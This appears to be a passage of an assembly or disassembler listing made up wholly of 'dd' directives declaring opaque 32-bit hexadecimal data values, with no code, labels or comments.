dd 0F0629B2Dh, 23F0C0C0h, 0B901AA0Eh, 98657D21h, 0FC78ED3Ah
dd 20446A13h, 571A3818h, 0E0959F00h, 9CEDEAA0h, 863A0054h
dd 5B80287Dh, 3C00DA9Dh, 0C9F311DCh, 0D82BC5h, 0C3982721h
dd 0A5149A87h, 11765AECh, 2A6F58h, 0A6486C12h, 0E22EC4AEh
dd 98D11D29h, 8918802Dh, 851C56A9h, 9F023900h, 1213039Bh
dd 915D1FCCh, 0B98AC4A1h, 0B800B3D6h, 4B402232h, 8949E012h
dd 0B3E7F020h, 0EE2700BEh, 0E506ACCAh, 5203461Eh, 0CE2C43F1h
dd 0C339909Ah, 0E01600C5h, 0E8A82511h, 0D207ABC1h, 63F143C4h
dd 0B342C0F3h, 4D588855h, 0CFC1389Fh, 0EC659214h, 584A26h
dd 6C37F2EBh, 6900DBB0h, 2045D6C8h, 74D3B5h, 26F0A8B6h
dd 9E1AE12Ch, 43573700h, 0FA3C7732h, 1DBBF09Fh, 8341A8A5h
dd 638E69AEh, 399840C5h, 92063677h, 0C718C21Fh, 0E501380h
dd 1FC36F64h, 40D40AB4h, 61E3844h, 0B9037DAAh, 8B0C563Bh
dd 0BA10010Dh, 78904075h, 0E8FCF117h, 3F07A5F9h, 8CF6610Bh
dd 0CCB86E20h, 0ED700019h, 0D153D827h, 247182C1h, 0A96C8B04h
dd 0C083D3E1h, 97BBB050h, 0F230143h, 0B3AB5FECh, 64CAE065h
dd 94777B0Bh, 5AC8148h, 0E80F9FFh, 0B89BC01Ch, 0B6000EACh
dd 937D56C2h, 7E4991h, 70F53003h, 84D72685h, 0AEAF9400h
dd 0B3BABB31h, 8D50546h, 0A0E3A690h, 930044ECh, 26BB6BADh
dd 0D9FA06h, 55842BEFh, 2C4C3F41h, 5F1FB0Bh, 8A71874Eh
dd 9A29EEC0h, 1B8F0012h, 3943822Ah, 4F0BBA15h, 898BC85Dh
dd 710047BCh, 2905618Ch, 1A460000h, 0E50AEDE8h, 0A1D979A4h
dd 18C022A4h, 958E00FBh, 5BFFC6A8h, 20129CAh, 0FEFA8C0Bh
dd 74C01DE3h, 381F12B8h, 0D814B0DAh, 8064A059h, 4F8B9E7h
dd 83790FCDh, 0C0525C9Bh, 47151CA0h, 8D340900h, 10F5D8B3h
dd 0CF640020h, 0B48A5243h, 15008419h, 771E3FB6h, 143E1742h
dd 0D04DBBC1h, 0C92CA000h, 37559BEAh, 0B25B1100h, 0DBBFAB61h
dd 0E7400FFh, 4A6BB14Dh, 8926FBE5h, 0DD00D369h, 63BD0599h
dd 2B17006Fh, 0AA54C370h, 0D2002AC7h, 61A5FB65h, 1C15F3h
dd 96FCDAC8h, 0BA0C7299h, 3C1EE0FAh, 5DCEE3CFh, 0EA88E011h
dd 25B178C6h, 0C760D9Ch, 33719B00h, 0E6DE14h, 0AA7BA1B9h
dd 1146395Dh, 6C79C700h, 5B16E79Bh, 0EB600FDh, 3924884Ch
dd 9700050Bh, 0A7EA0847h, 4922B5h, 0F953A26Ch, 40245BA1h
dd 482AC100h, 0DBFCEAF5h
dd 0AA880019h, 0DF9A8284h, 0DEF0D59Fh, 588B1300h, 59D64E73h
dd 3AF10EBEh, 696031AFh, 0E5A9EF8Dh, 0F0055FAh, 38495487h
dd 7322C01h, 0F5813A59h, 5D4310E6h, 25001384h, 0F80EBEA2h
dd 37330F0h, 0FDF11AC5h, 129846A4h, 0B80033BCh, 42527BB4h
dd 965456D7h, 5FBA0054h, 29AC44E8h, 457ABC00h, 175AA3B9h
dd 5C4300F0h, 0CD5B3671h, 0F018D64h, 66CF5051h, 0FA402E8Fh
dd 0F277A855h, 7F211F62h, 0E006C01Ah, 11DA2B92h, 43416907h
dd 855047CCh, 2EE32E10h, 442537h, 4C61AF6Eh, 60008D7Eh
dd 4A02FCF3h, 0F6CD94DBh, 1FCF17C3h, 1844737h, 7C304BA7h
dd 0CF0C6561h, 7A54D729h, 0B579003Eh, 427C09F7h, 50006CBDh
dd 0D7152635h, 7DA9846h, 691FB45h, 3847064Bh, 0CB0BC5EAh
dd 5FF4DEh, 0B5B3A69Ch, 843200CEh, 0BBCA277Bh, 0AD07956Bh
dd 4A460F11h, 0A9381Ch, 8A0C0119h, 2CCED5CAh, 0A8C0A54Ah
dd 7F21B5Ch, 553B14E5h, 38C790E8h, 121CA0BDh, 0A1DC164Fh
dd 0A000CF53h, 0BC2052DBh, 0C078005Bh, 63DAEE2Ch, 4043FF3h
dd 81FCDF0Ah, 0ADC22CA8h, 1602561h, 8007CEF1h, 0DCC74AEFh
dd 0B26DB493h, 2FF8E00Bh, 600600CBh, 43A88D4h, 0EA00B551h
dd 28D16BACh, 7E71FF7h, 9FDB375h, 0DDC57025h, 880E14A9h
dd 76368A98h, 0CB5A4800h, 7A1AC4CDh, 91A9000Fh, 4CB44DCFh
dd 0E3005FF5h, 251F9A5h, 0C306CCh, 0F478D4F7h, 6C459831h
dd 8F74E077h, 8B72E902h, 6168DF12h, 58D07FA4h, 0F9E11E09h
dd 0FC1F0086h, 179A6683h, 1DB14F00h, 0EA05722Dh, 628804A4h
dd 0A80FEDC2h, 6E4525F4h, 226B01F0h, 611ED8D6h, 5F62D020h
dd 1CAB3500h, 85AC23D5h, 27860051h, 0EAD254FFh, 9B0E61E0h
dd 0F5CA039h, 57BE27B6h, 0D07329A3h, 36D21Fh, 743CC279h
dd 25F1C1BFh, 69070607h, 0AA17BA20h, 6A488E60h, 5B140FD6h
dd 2BA0DCE6h, 0C366248Bh, 91D0B800h, 478AF056h, 0BB4718Dh
dd 9E72BBB5h, 0B3D00Ah, 3305549Ah, 290ECD89h, 6378B166h
dd 0C0510E65h, 209867h, 0D0E5384Bh, 0A353F41Ch, 0D44C3101h
dd 0A5297057h, 3CF8DC30h, 5E804BA6h, 45720BE4h, 91000FBFh
dd 3B4FA8EAh, 71317926h, 755B0046h, 9AC25C51h, 0F1FA5D8Eh
dd 0AAA5E800h, 7D18ACF8h, 2DD20057h, 40230E9Fh, 0A10011F0h
dd 7C1DF246h, 1ECA51F8h, 78EB6Ch, 200E9450h, 3098E696h
dd 859AD127h, 30C01004h, 0C6C8AEh, 14E79D51h, 90415773h
dd 0E0D24851h, 56008F42h, 0A506FF6h, 65FD9Dh, 588E03DCh
dd 3B30CEE8h, 0EDA53107h, 7BA3F05Eh, 0C68884Fh, 69D30073h
dd 61808206h, 0C2097CDFh, 4C5D833h, 0AB706F0Ch, 220B6589h
dd 606676F1h, 5AC373Ch, 0C8B105Eh, 0CF78C0F9h, 72EA83CDh
dd 8DDB3612h, 0A6A5A400h, 0D382BFh, 2766F53h, 37265017h
dd 0B8685Ch, 0B5E5D6A9h, 3AD0A5F2h, 710E1FBAh, 0E0CF6BB4h
dd 0FDF3805Fh, 2425E833h, 29DA38h, 0B83639EDh, 2313BAh
dd 4862B0A2h, 1D5D5464h, 1890EC00h, 73C93FFDh, 97513C68h
dd 0A13B7B01h, 60A63745h, 937AE0C0h, 619E0A07h, 3F00142Ch
dd 776405h, 0C357F503h, 497FD9BEh, 0F3B0E905h, 39C0D411h
dd 0FB5BBh, 2A406B9h, 0C5D0B147h, 95D6ED0Ah, 9804F8F6h
dd 2E1619B0h, 0EF0F7D2Ch, 0E01D9979h, 1264F367h, 2B800753h
dd 90B691E6h, 0F7D1488Ah, 824D7F3Bh, 0E7826459h, 0C228E051h
dd 0B090CCh, 0AC30175Ch, 267654D5h, 0FA49880Fh, 0F0C2E497h
dd 47248CC0h, 0E85300CFh, 268AD0EBh, 820446B5h, 85B3675Bh
dd 930F7CC0h, 13A5004Ch, 978BAE6Eh, 0C37BAACDh, 8245F207h
dd 0C1A017ECh, 29C2E8h, 7E6F0DBFh, 3E16FF13h, 67781C00h
dd 442FC54Eh, 5B2C0059h, 0D4ACCE76h, 0EC038C17h, 4EE53D1Ah
dd 0A0ABBBA7h, 0F757A24h, 3644C1E7h, 385199A0h, 8E00777Fh
dd 0DAEDD5CCh, 219640h, 36185E2Eh, 801CD79Fh, 0C64C5600h
dd 25C75FD2h, 0DF9000A6h, 0E0EE1ED6h, 0DD006DACh, 7BE66A75h
dd 39D54Dh, 0E5B79E3Ch, 37741569h, 5BE4400h, 52C3FF2Ch
dd 0E3DE07DCh, 0B008C438h, 1DC56DBAh, 0E6512300h, 0AD1E186h
dd 444007Dh, 0DDD7B3D2h, 0C100A9BDh, 0BCDA7BDBh, 0D183ADh
dd 919B0619h, 76FCCCD7h, 0DE002B75h, 7F2F1F9Dh, 0ECA8E7BEh
dd 0FAD90012h, 80B7FE54h, 8D0130E0h, 4DC176DEh, 3B209D17h
dd 0C971A9h, 973C167Dh, 0B25FA857h, 22061F00h, 531E43ACh
dd 0D4E03DB5h, 3D0B9A80h, 322BA774h, 663E4600h, 90D985F5h
dd 0EDF300E6h, 0ABFE6F26h, 7E00526Ah, 78298809h, 7B73B258h
dd 8E9F0044h, 9DF09801h, 0D1036551h, 40B8AB9Ch, 5A14F866h
dd 0DD7200B0h, 2E2B57DBh, 0D0714F3Bh, 6EE6D900h, 81AAFB1Dh
dd 0D76F024Eh, 4196840Fh, 88E83342h, 230063D1h, 713EC2C4h
dd 165BD39h, 0AAA4526Fh, 0E128A5DAh, 0FF46D843h, 0FAD89502h
dd 60729E83h, 0A87E50h, 6A1FED49h, 983BE251h, 5880804Ah
dd 7C3196Dh, 8A402A1Dh, 0FE3181EFh, 0E6D3F3C5h, 8012CADBh
dd 0B880A00Bh, 0C31CB3h, 0F9616D79h, 0B2D0198Fh, 6B32BA14h
dd 54BD00E1h, 22906E7Ch, 0B52109ECh, 0E0F0D5DCh, 0FFDB3Fh
dd 0C1FD3A4h, 1DA31AA1h, 83523583h, 549371B5h, 149269A0h
dd 62180F16h, 7FBC8800h, 5C6EF41Dh, 9F3D008Dh, 401C9900h
dd 69AB2897h, 0B4D08300h, 0D9AF65C9h, 18700066h, 43B8786Ah
dd 0EE0071CEh, 48FD526h, 818ECDh, 70A1E1CBh, 0BDD2D12Bh
dd 87E4F23Bh, 0B6C95DC5h, 0FE0007A5h, 4A90B822h, 0E6C20033h
dd 0B958D471h, 23001246h, 775741D5h, 15A40D8Dh, 907BD927h
dd 84DED402h, 6C7ED87Dh, 0AB020B74h, 47A450h, 0E41C3F71h
dd 4C005C7Ah, 0E50CA4AEh, 0B795D1h, 2AF36622h, 831E01F4h
dd 0C026A607h, 1B004EE6h, 1038AA5h, 59476769h, 80237E3Eh
dd 7CB0C430h, 5534A2Bh, 0CD27B73Ch, 299FC031h, 640623A6h
dd 0F577C36Dh, 82E0036h, 0B5826613h, 76E887CBh, 812D920Bh
dd 0AE480C6h, 4B9F0EF4h, 0B4840FBCh, 0E7D000F6h, 0CB8CF8Ch
dd 88850900h, 0E8FA7203h, 698300B4h, 1BAEDA63h, 0E1000C8Fh
dd 28645C42h, 3F5372E0h, 0F10B16CAh, 0BB81ABC5h, 0C0059727h
dd 0A6502441h, 0AE9F84C0h, 0D8C90F38h, 762E088h, 0C79540BCh
dd 5874B1C2h, 0A9A4047h, 115FE2Bh, 0E0D3A3h, 0A0186AC7h
dd 217E2Dh, 0E6FFC480h, 0A77FF57Ah, 0D4D83F50h, 7DB43501h
dd 33DD6C83h, 483741D8h, 380ED049h, 3EC07AA0h, 0CECD8A35h
dd 84ED9D01h, 1BF3CB1Dh, 57F49080h, 0F18D099Bh, 988090B9h
dd 61A38A21h, 0FE810B54h, 24C06204h, 0EE0E5BA6h, 0C2AC20DFh
dd 615A8FBBh, 2ECCD8F9h, 8B0E0086h, 0C5A9A128h, 35720283h
dd 0E1FE0B05h, 3CE01479h, 437F1FD7h, 3EB08094h, 3CB20447h
dd 0E9200B0Bh, 0A000C02Dh, 1A541F43h, 951DC39Dh, 6EF9CB19h
dd 0D1D6D8DCh, 607E52EAh, 0ACF48309h, 49FCC0F7h, 7DE900B8h
dd 0EDCF3B12h, 0E100E4BAh, 478072ABh, 0B73831h, 0B84ABF56h
dd 1FF15F3h, 0AB258414h, 9E2100B8h, 0B9092F46h, 0E1EB07BCh
dd 407B0E1Eh, 0BD45CBCDh, 5BBFAD1Fh, 98F0DAC3h, 0ED3190E2h
dd 75841ED0h, 0B5064308h, 0A2B03950h, 8200EE61h, 5A1A8623h
dd 2431D934h, 80489199h, 0E2A1EA21h, 0C13D3BA8h, 0DC552462h
dd 5E80659Dh, 0BD3D9C13h, 323000C0h, 0C769D4B1h, 4401C585h
dd 0ACC9BBBh, 670239Ch, 92070066h, 0EF743753h, 3F3ECAD1h
dd 0BA2580F0h, 41B7FD45h
dd 0DB2D006Dh, 0AEF11C36h, 0A100A0BEh, 7D6DAC7h, 38402F93h
dd 3400B8D4h, 95485DBDh, 0D04BA055h, 0FB2E3421h, 79143AC8h
dd 89260070h, 0D23C6609h, 6E00C92Ch, 4E2E80D4h, 14DE5Dh
dd 0FE6BD0B4h, 4926984Bh, 4109C702h, 718B8052h, 7574009Ch
dd 0B455BED8h, 0C1066D00h, 2F599AA6h, 389909AEh, 6482A564h
dd 0F85486C4h, 8D2C4880h, 1D9FF6F8h, 1DAD4EA7h, 0A826C03Ah
dd 769D3798h, 0B2C60300h, 4360D233h, 0A9CC0F0Ah, 8C89A60Eh
dd 0A4346680h, 5D0BCE9Ch, 80C07E38h, 0FC5A18C0h, 11F9093h
dd 8216F4F0h, 0FC80145Eh, 71E259FDh, 4000B14Eh, 0E9BF9789h
dd 0CC870019h, 34A24C5Bh, 78005824h, 0CA1F1F3h, 0CAD508h
dd 0EEFE4618h, 792B3EF8h, 0CECB350Bh, 1FB1808Ah, 0AE808h
dd 0F32F87B8h, 0D7A85B0h, 210C8CB2h, 68891653h, 31700F9h
dd 1913298Bh, 0DB005A3Bh, 0EEB38AB4h, 0CAF7F7Ch, 0E00A01AAh
dd 627A0B28h, 0C79B6300h, 0CD1391CFh, 0E787053Ch, 0A9A592AAh
dd 0CB07C40h, 0F3155400h, 444A2D6Ah, 9AA10002h, 0C5202B07h
dd 87761799h, 3DC32C00h, 4A70DCBEh, 38160079h, 47DF6524h
dd 720061CEh, 42779396h, 744AE9E8h, 70465C13h, 48F4DE00h
dd 875EEDA4h, 0F8B7AF00h, 0F0A88BDCh, 0FA1D0051h, 0C1C2B89Eh
dd 143AFD48h, 4E0776E8h, 623712A7h, 7A775300h, 406900ECh
dd 0DB70B6C5h, 55E82BB5h, 5971F800h, 0A2A8C16Eh, 2639009Eh
dd 29183DB3h, 557A1BF9h, 30EBCF90h, 89033322h, 0AC0F2B5Fh
dd 1867C8BDh, 60900B9h, 0C1D7DB3Fh, 0C700B2C5h, 7F8D2873h
dd 2CEA0DB3h, 4E4583h, 975F9CF9h, 0DE39638Eh, 2C4589Eh
dd 0E0834F90h, 16E84035h, 1C7BBAh, 0F0968611h, 3ED2EE65h
dd 0CDDF3B00h, 3171A305h, 1F85008Eh, 5E0A1523h, 0C80029ECh
dd 0CB86BE83h, 0B6E7756h, 0CC7D44F8h, 0FC66E880h, 0E872F797h
dd 0C0BFDD2Dh, 0D5580h, 362B393Bh, 45E7EFE9h, 9B85D70Fh
dd 4891E0DDh, 3B63EDh, 455616Ch, 8067F872h, 77E24F0Bh
dd 4AECC0E1h, 280300A4h, 0AA976832h, 100244C1h, 6E563F05h
dd 0D14C046h, 6B0F00C2h, 0BBCAF999h, 183DFB4Ch, 0C4258016h
dd 0E33B931Fh, 63920181h, 0C317DD49h, 1EBCFCC9h, 80957E3Ch
dd 5482F856h, 0F81D91Ch, 8079AFF5h, 2CD68E80h, 455F2DBEh
dd 4CAAF400h, 3E9CE91Ch, 1A800FD0h, 43F0099Fh, 96008C97h
dd 199E63CFh, 55EF17Fh, 4D392FB3h, 0E29BC1E4h, 0D954DD6Ch
dd 0C683F8DEh, 5B550800h, 0E876AB05h, 2DAC9294h, 34802D69h
dd 0A0C8DDE4h, 0F964BB00h, 0CFA9DC79h, 3DFD00CEh, 5FA299BCh
dd 4B50D1EEh, 6FA2518h, 205549CFh, 3C057E93h, 74BF0092h
dd 0A2639BFBh, 110024DEh, 43CC706Bh, 7B6DDDh, 4FA73167h
dd 4E5C1EBFh, 7175107h, 94008BCBh, 5303B9h, 0CD4C1980h
dd 6223C56Fh, 896BD112h, 5E871F1Dh, 10D049DFh, 0F4ADC1h
dd 0D6D2C506h, 5F40F775h, 120FB890h, 41FF92A4h, 80F821B2h
dd 8DE55BD1h, 9F032028h, 6C9BEC06h, 8C9C53A8h, 0EAB519C4h
dd 0C06018A4h, 0D1428138h, 5C00526Ah, 3FB87441h, 7DE3E75h
dd 0C0057057h, 33A6D0D4h, 0FB009BB5h, 0B1F7C9A8h, 41B8D9h
dd 0CDA1BC77h, 0C4CE0A04h, 392938h, 968A9121h, 4841F9h
dd 6C683823h, 43D5A35Fh, 0CE933Eh, 3A993D6Ah, 0E81075C6h
dd 547800B2h, 0E8BFE9A8h, 0D9009728h, 0AB3E761Fh, 4916DA7h
dd 0BBD21C04h, 2E68B4F0h, 472A0F00h, 0E7A6FC05h, 9374141Fh
dd 0B93B10E6h, 0B5DE8801h, 0D4C5A067h, 0E3001481h, 8A850736h
dd 503195C4h, 7CA88DAh, 6279BF8Fh, 76A8D0C2h, 0AE245C1Fh
dd 81940875h, 378407E9h, 9BF29569h, 0F020E115h, 279E5E0h
dd 5D7BB091h, 86E0DF8Ah, 0AB1EFD51h, 0EF408427h, 0F4BCA526h
dd 0F8BACCh, 4345B544h, 396F818Bh, 67745CEEh, 20A0B931h
dd 0B6C87D47h, 0C3A8009Dh, 619919B2h, 0F100C6AAh, 6787A37h
dd 249FAE7Dh, 84A88F24h, 8CBEE8ADh, 1704B3B0h, 6CA3C1C7h
dd 13123881h, 0ABE54A8Bh, 8FC51000h, 0FC037236h, 0B8F1BE31h
dd 4035A9D3h, 37A4D087h, 5FD2275h, 67BABC84h, 0ED588B03h
dd 84BCB850h, 8E02E7A8h, 31C06DD7h, 0A00034F1h, 458F9E8h
dd 1B34B2Ch, 0C75E8D21h, 6A8CABC8h, 9E42C00h, 0F1A7C9h
dd 425F92F6h, 61661AEAh, 324ED4A0h, 350F9478h, 701807h
dd 963A59Dh, 0D7E92C82h, 0E3190ED5h, 46C45640h, 867EABADh
dd 5CB74500h, 7C18DEFBh, 3B4F00EEh, 7D211D73h, 0A67017E8h
dd 2B366103h, 0C735EA67h, 0DD784C60h, 0AD2A0008h, 527BE5D5h
dd 3816F851h, 3907BF22h, 5D562957h, 20A0010h, 6EE5D42Fh
dd 0A0006CBBh, 0EBB0B183h, 914AF9h, 67ADE1D5h, 0E53A8A9h
dd 994C0D98h, 69E700F5h, 1D8F77F6h, 0F7500F7h, 0BC9F4B47h
dd 0B4004944h, 0DBAAB883h, 0EFFC22h, 379B6E72h, 79B3283Eh
dd 0DDD80F07h, 0CBC77684h, 1CB2BCE0h, 0A6410044h, 1922F0F5h
dd 5E029875h, 0D3AEF2D4h, 7CA0407Bh, 0B07E60CCh, 7460ACBFh
dd 0B7BCE050h, 8DF370C7h, 5F61F4C0h, 1A3006CDh, 0D8593F3Ch
dd 30C05Ch, 0B232DD03h, 0A945B0h, 0FE8605FAh, 0E0063674h
dd 56EDDB07h, 0CB506FB8h, 9839ACBDh, 8A1500C6h, 0CFDA16BEh
dd 0DDEA42F4h, 0B70ED10Eh, 8C59EB58h, 19510F8h, 3F762BF2h
dd 0D0E18B13h, 0B05876Fh, 9A5BABB3h, 91EAB041h, 20E107F7h
dd 3AF60DCh, 0A14CA867h, 0B8E8155Ch, 290F80BAh, 808CEB7Ah
dd 6E1160E8h, 0E9A463D1h, 92F86C7Bh, 0D60F6AF5h, 3DE8467h
dd 0B0724E04h, 3A06D36h, 773454D4h, 1058317Dh, 0E8000C5h
dd 0C552C323h, 620EE91h, 953DE0BBh, 6C00F884h, 0D2620377h
dd 0F4AC238h, 42D345BFh, 8E20B5E0h, 0D5005C16h, 13C065Fh
dd 1E8A62h, 3EDE19F3h, 346B404Fh, 807D0D01h, 364C476h
dd 1849DCh, 0FC041A9Ah, 0AD4FEA09h, 5603472h, 5B0AB410h
dd 0E57F0065h, 0C794BA0h, 13E6CEC6h, 10ECD904h, 4E806811h
dd 7D64707h, 3829B1D7h, 0A2FDE04Bh, 0C4008601h, 5B459998h
dd 135738Ch, 0B5A0588Ah, 2AF87826h, 37F8E9E1h, 7E7921h
dd 40D4543Ch, 0DE56971Dh, 6ADF01Dh, 0E00C8Eh, 951291E4h
dd 0E3A9502Fh, 3AF878h, 0DE441BE3h, 1AE17B0h, 0D2CB1600h
dd 7B5406Fh, 4A8600F3h, 0C213030Eh, 0D8C0FE8Ch, 0F823FC14h
dd 7F62F45Fh, 87F0C0AEh, 0AB26EEC0h, 60ECB507h, 7CC00A96h
dd 3D4437BEh, 8AAA0848h, 80DE012Ch, 0D8C212BFh, 0E82708D2h
dd 62F90808h, 0E2410A52h, 9C00A316h, 0FF41F774h, 66104CD1h
dd 4A89B871h, 104BA5FCh, 82D154C3h, 612878Bh, 59C240B6h
dd 1A29BFEh, 9407BAA8h, 1F2C4BB1h, 22E25E12h, 4021E7AEh
dd 776B0ADBh, 2CFA9584h, 0DD413A00h, 0A3E4ECB2h, 371F0F84h
dd 4E6A1726h, 9479684h, 182071F4h, 6648C855h, 234EFD16h
dd 11FE4401h, 0A6E4F9A0h, 3B3600BAh, 40B1A94Bh, 0D0C0E529h
dd 83ACB8F2h, 61030F1h, 0C7779B48h, 0AE9E7C03h, 0AD0BA639h
dd 3DE138C6h, 0E43A3A7Ah, 893F5C00h, 7B2A493Ch, 0DC1AEE0Ch
dd 7E78F828h, 3B311C66h, 52740C2h, 0B0D88B47h, 1CBD740h
dd 0ACABCCA7h, 6E1E43F0h, 19D5EB05h, 0CD55C44Ah, 3611B100h
dd 0ED5061h, 0C26B09FDh, 0D8FF6022h, 4F0025B0h, 599CAB0Eh
dd 7CC369h, 3CE8FDC4h, 64CB9040h, 0FA49h, 1EDD3A5Fh, 3F109Ch
dd 15D47A35h, 0E4F1DC80h, 0BA4F304h, 0BE805C34h, 60EA9964h
dd 59E170F2h
dd 9400CBABh, 9E68C957h, 57A8984h, 7D22549Fh, 98800A8h
dd 4BE4D3B7h, 36FE0403h, 9C3E9B9Eh, 0FF844980h, 10CB85Dh
dd 7EBB865Eh, 0E8BCD8F0h, 0ED39E190h, 0F70E078Ah, 0C4805B24h
dd 0CAE945h, 11F1C9E5h, 0DAF36092h, 8816A000h, 5B37B53Fh
dd 7884F1C5h, 9050568Ch, 0F87FA750h, 482FD000h, 0A63F54Eh
dd 6BBF0074h, 0B212F0F3h, 91011E5Ch, 2BCDFA44h, 232080EFh
dd 0B6F8C6h, 2DE9F0CEh, 0FE09476Ah, 0E6003BEEh, 0D81C74CCh
dd 30EB62A2h, 0DE309185h, 2F006008h, 8A5FAF6Ah, 39BD1E16h
dd 13074F25h, 0F3D4D7C1h, 46E0575Dh, 20087CFh, 3032BE24h
dd 806561h, 31DD6FE1h, 0EFDC5D13h, 243D401Eh, 0D1A9E81h
dd 83F84FA5h, 2C8B0089h, 0BB138CD5h, 1507A0EDh, 4FC7ECA2h
dd 74627CC0h, 12850026h, 389DD081h, 6500525Ch, 2227B58Eh
dd 6040F71Bh, 19F2F8C0h, 461D5D31h, 0E3288B99h, 66A54900h
dd 0C18D6A65h, 95F20042h, 74E4FBD4h, 1309E943h, 46A17Ah
dd 0AD416B53h, 0C7E03854h, 3C36D882h, 497E8A2h, 2FF6AD00h
dd 34327Ch, 0E5E02621h, 4CF51068h, 85B46538h, 587EBDAFh
dd 39826C80h, 1C2E0033h, 5468EAF8h, 65004888h, 0F504933Eh
dd 60D9A8h, 0DA22491Eh, 4A15CE5Fh, 25C19000h, 0D3EDB373h
dd 336B85Dh, 0D89C68A1h, 1EA09B63h, 0B5000162h, 3D813C39h
dd 0F0F4E6ACh, 0D3FC46h, 0E39B7C90h, 0C735ED6Eh, 0EA38FE00h
dd 81469FD8h, 0F5CF00BFh, 0C2D44458h, 72008F84h, 919353C6h
dd 2BA4CD7h, 13CF601Dh, 0BF600F9Dh, 9C00D058h, 0A2E0AB8Bh
dd 1DB5713Bh, 0C07E0A5Ch, 0E8AD4BC3h, 9700DABAh, 0EF85C0ACh
dd 848BA9h, 0E5A28DBBh, 0ADA1887Ch, 60D7571Dh, 98364440h
dd 739AEA70h, 0A2B30395h, 2D8E7842h, 0B9B746D0h, 998FF903h
dd 0CB1D0CF7h, 0DF26C060h, 234506D7h, 1087044Fh, 1CFA833Fh
dd 30C03714h, 70D6F201h, 0CE740095h, 486D6238h, 0FB00F0F1h
dd 0FE32E73Dh, 0E6C268DDh, 9EAE009Fh, 0B9B35382h, 0D07936FBh
dd 0BEDE9400h, 0BFF9DD25h, 0EF9100FAh, 0F18743DCh, 497E4D0Ch
dd 8E005477h, 9B21EA78h, 3367B8Bh, 903D446Ch, 50C8E370h
dd 0EB03570Eh, 1373D9A3h, 0A0F0D34Ah, 38C7698Fh, 9480E87Dh
dd 508EBE7Bh, 313B435Fh, 1D382D5h, 0C18176C2h, 0DEECB3B2h
dd 0F13F0271h, 0D3470B49h, 0F4D91540h, 4BD0DB02h, 0E005B00Ch
dd 0B499A4h, 0AA7C5280h, 0D1097F68h, 0E7D9260Eh, 0C0DC6F12h
dd 1360BB91h, 2BC13045h, 0A043E8F0h, 2A90DA00h, 318AE4D0h
dd 7C71004Bh, 80A75DCFh, 4D001FA6h, 0CA01EC2Dh, 30742CDh
dd 63143184h, 46D07951h, 200732Bh, 53776DC7h, 0F0137230h
dd 0E77B65h, 0FAA5E6B5h, 0C3BEEC90h, 7CD8AC00h, 4482B06Ah
dd 46B40019h, 0BB304255h, 6090F6DDh, 5DC0C100h, 8C51082Fh
dd 0C7481878h, 238EB067h, 28C8D000h, 0CD37F212h, 523400A8h
dd 4EE5B28Fh, 0EC0057F3h, 340C5C3h, 5D7260h, 73631BFh
dd 9A884628h, 0F04D1900h, 6E40D0E3h, 115F6012h, 0F3DED32Ch
dd 1D00D674h, 6B441CE2h, 0A71333h, 0C4EB739Eh, 0CA4BD4FEh
dd 0CE163D04h, 0E280A120h, 26DBB7h, 2A51A88Ch, 1561F88Eh
dd 131CD700h, 0D125E9B6h, 0AE6400B3h, 9EFFE74Bh, 36005E8Eh
dd 0A9AD4370h, 0ED03947h, 41D8B76Fh, 20CC38D8h, 72C9EE0Fh
dd 91738016h, 9AA727h, 0CFE536AEh, 0BBEC2915h, 2FFD5A00h
dd 0FB6B7F9Fh, 0E8A100F8h, 35713F2Bh, 9A007D78h, 8E8133B0h
dd 0B5845h, 0ED11C824h, 64EE31E8h, 0D45B0201h, 1466CCE1h
dd 8E4FE4h, 0B86BA3FBh, 47010BBAh, 0EF2DC00h, 0F8AD7F70h
dd 89183AA7h, 921EB880h, 2472EA3Bh, 0F7ED3A01h, 58E5541Ch
dd 0AE113ECh, 8CABC030h, 0DB050088h, 47C61290h, 7FB8BA00h
dd 0B689F717h, 4A430010h, 110A7973h, 0E7026A4Ch, 64AEC349h
dd 0ECCC4898h, 8FC00E35h, 60A01968h, 0A6D0C4F6h, 390B6400h
dd 0D3AFCB96h, 0AD0C0050h, 0BAE15865h, 0D0019327h, 0AC9D43BEh
dd 9460F31Dh, 3B94FE0Ah, 0CC483E87h, 0CC179E00h, 45AB7C1Ch
dd 0CDE1470Eh, 770032FAh, 701D64D5h, 0B46B3E68h, 573E5E00h
dd 0C07DB993h, 2706CB00h, 0F539DC87h, 3DF7475h, 61EDA5EFh
dd 0E6B3E802h, 46606788h, 404E28CFh, 0EA44C747h, 3CF80039h
dd 5BC1EF42h, 7C00FE2Ah, 20F55795h, 0CA96B73h, 42B6CFA8h
dd 5A008E82h, 0CA56B4AEh, 13C8150h, 0C6B2A6F4h, 0E862DDD1h
dd 0BF0F7A15h, 9DA3CCF5h, 76B32100h, 0A9943Ah, 1203CBCAh
dd 4A963C1Dh, 6F6C6200h, 9C6BF856h, 937803A5h, 0B7CE9A9Dh
dd 312FD1D8h, 5CAD4000h, 821913EFh, 0DCECE3h, 0F003ECC0h
dd 0C3626DE5h, 0B6B35200h, 64490E78h, 0ECFD2E15h, 7F1F13h
dd 52E04BCDh, 0F700CC02h, 0DDB62438h, 5CAFC57Eh, 0A8003958h
dd 9130E606h, 88002A4Bh, 7EC0EAEEh, 7129C42h, 0ACF1D4F9h
dd 8E3EF044h, 7703FCD9h, 97A7521Fh, 3DC1802Bh, 0CC1000ABh
dd 0B7C42DC0h, 0AE097E5Ch, 5600B13h, 0AE00FD74h, 0FBBD0D2Eh
dd 9207079Bh, 0E0D63EC8h, 0B0DB1312h, 0DA033BE4h, 1F0BDD6Eh
dd 5BD7A886h, 21A70002h, 0C0AED941h, 2F001604h, 0D3263B93h
dd 3878A6FAh, 3000B51Bh, 0CA968209h, 0F55CF7FCh, 0EEF00010h
dd 9D2A1CCBh, 51ED0377h, 5868AFA9h, 483A8DF0h, 0BF289101h
dd 5366176Ah, 0C90DCh, 4D75F022h, 0F5D9AE8Ch, 0A3888600h
dd 0F3AC8BFh, 0A1FA007Ah, 982640D5h, 570AB5FFh, 0D42E91DAh
dd 462D0B00h, 38243Fh, 39F5F1F0h, 1C2C2F34h, 0FD064179h
dd 282378C2h, 0D8D50131h, 556DDC09h, 5C67607Ah, 0E9EBA702h
dd 0E07F14A8h, 92629CCh, 9A2C6F59h, 80C1C007h, 8DDA3928h
dd 1276D400h, 157A542Fh, 0A4C9010Bh, 0BF9FFA41h, 59907020h
dd 0F98D55Dh, 60C9014Dh, 3A61E1Fh, 44415056h, 0A33E2635h
dd 0C7FB1C58h, 604B70CAh, 0D2A52A57h, 0EFBC2401h, 0A876251Ch
dd 75F8A4F5h, 0C26D077Eh, 0C0847CDEh, 42C9390Fh, 0B105A500h
